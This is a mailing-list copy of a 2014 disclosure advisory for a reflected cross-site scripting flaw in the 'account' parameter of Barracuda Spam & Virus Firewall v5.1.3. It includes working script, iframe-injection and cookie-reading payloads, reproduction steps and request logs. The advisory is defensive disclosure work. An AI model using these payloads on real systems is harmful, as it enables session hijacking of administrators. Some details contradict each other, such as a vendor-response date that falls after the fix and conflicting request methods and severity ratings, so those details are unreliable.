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Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Mon, 28 Jul 2014 10:30:05 +0200

Document Title:
Barracuda Networks Spam&Virus Firewall v5.1.3 - Client Side Cross Site Vulnerability

References (Source):

Barracuda Networks Security ID (BNSEC):  BNSEC-1052

Solution #00006606
BNSEC-01052: Non-persistent XSS in Barracuda Spam and Virus Firewall v5.1.3

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
For efficient, effective corporate communication and collaboration, today’s organizations need more than just 
security against spam and malware. They need a comprehensive email governance solution that combines granular 
policy management, real-time visibility into email activity, and the ability to handle massive volume and 
huge files. Barracuda Spam & Virus Firewall is today’s solution for comprehensive email governance.

(Copy of the Vendor Product Homepage: https://www.barracuda.com/products/spamandvirusfirewall/ )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a client-side cross site vulnerability in the Barracuda Spam and 
Virus Firewall v5.1.3 (200,400 or 600) & Vx web-application.

Vulnerability Disclosure Timeline:
2013-11-19:     Researcher Notification & Coordination (Ateeq Khan)
2013-11-19:     Vendor Notification (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-12-20:     Vendor Response/Feedback (Barracuda Networks Security Incident Team - Bug Bounty Program)
2014-07-15:     Vendor Fix/Patch (Barracuda Networks Developer Team)
2014-07-25:     Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Barracuda Networks
Product: Spam & Virus Firewall - 100 200 300 400 500 600 700 800 900 1000

Exploitation Technique:

Severity Level:

Technical Details & Description:
A client-side cross site scripting web vulnerability is detected in the official Barracuda Spam & Antivirus Firewall 
The vulnerability allows remote attackers to manipulate via POST method web-application to browser requests 

The vulnerability is located in the `Per User Account View` module of the security appliance web-application. The 
vulnerable file is 
index.cgi and the affected value is `account`. Remote attackers can inject own malicious script codes on client-side. 
The attack 
vector of the issue is non-persistent and the request method to execute the malicious code is GET. Remote attackers can 
for example 
send manipualted links to priviledged application users to hijack session information (client-side) or execute non 
persistent codes.

The security risk of the non-persistent input validation web vulnerability is estimated as low with a cvss (common 
scoring system) count of 2.9. The non persistent cross site vulnerability can be exploited by remote attackers without 
application user account and with low or medium user interaction. Successful exploitation of the client-side cross site 
web vulnerability results in session hijacking, client-side phishing, client-side unauthorized external redirects and 
manipulation of the connected or affected module context.

Request Method(s):
                                [+] GET

Vulnerable Module(s):
                                [+] Users > Per User Account View

Vulnerable File(s):
                                [+] index.cgi

Vulnerable Parameter(s):
                                [+] account=

Proof of Concept (PoC):
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged 
web-application user account and with 
low user interaction click. For security demonstration or to reproduce the vulnerability follow the provided 
information and steps below to continue.

Manual steps to reproduce the security vulnerability ...

1. Login to the spam and antivirus firewall as normal guest user
2. Once logged in, click on the Basic Tab once
3. Now copy paste the following payload in the URL carefully after the password field replacing all other variables 
with our string

&account=domainadmin () barracuda comaf92c"><script>alert(1)</script>e352896d01c&auth_type=Local&locale=en_US

4. You should now be able to see a javascript popup revealing the session cookies hence proving the existence of this 

PoC: Frame Inject
&account=domainadmin () barracuda comaf92c%3E%3Ciframe%20src=http://www.vulnerability-lab.com%3Ee352896d01c

PoC: Cookie Steal
&account=domainadmin () barracuda comaf92c%3E%3Cscript%3Ealert%28document cookie%29%3C/script%3Ee352896d01c

Review: Change Password - Mail Session Title
  <tbody><tr><td colspan="1" style="padding:0 0 5px 0;" valign="top" width="100%">
  <table border="0" cellpadding="0" cellspacing="0" width="100%">
    <tbody><tr><td class="TitleLeft"></td><td class="TitleTop">
      <table border="0" cellpadding="0" cellspacing="0" width="100%">
        <tbody><tr><td><a name="Change Password:domainadmin () barracuda comaf92c>
<iframe src=http://www.vulnerability-lab.com>e352896d01c">
Change Password:domainadmin () barracuda comaf92c><iframe src="http://www.vulnerability-lab.com";>e352896d01c</td>

--- PoC Session Request Logs ---
 () barracuda 
Host: spam.ptest.cudasvc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; ys-preview_south=o%3Acollapsed%3Db%253A1; 
Connection: keep-alive

HTTP/1.1 200 OK
Server: BarracudaHTTP 4.0
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: ys-preview_west=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_south=o%3Acollapsed%3Db%253A1; path=/
Set-Cookie: ys-preview_east=o%3Acollapsed%3Db%253A0; path=/
Expires: Thu, 18 Oct 2012 23:48:26 GMT
Date: Fri, 18 Oct 2013 23:48:26 GMT
Content-Length: 8325

<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml";><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<a name="Change Password:domainadmin () barracuda comaf92c"><script>alert(document.cookie)</script>e352896d01c"/>


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse of the account and session id echo when processing to reset 
passwords via the email address.
Parse the parameter value input of the account and encode the output in the session values.

Barracuda Networks: Appliances > Advanced > Firmware Updates (automatic) page or use the regular customer panel 

Security Risk:
The security risk of the client-side cross site scripting web vulnerability is estimated as medium.

Credits & Authors:
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq () evolution-sec com) [www.vulnerability-lab.com]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or 
special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow 
the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or 
encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

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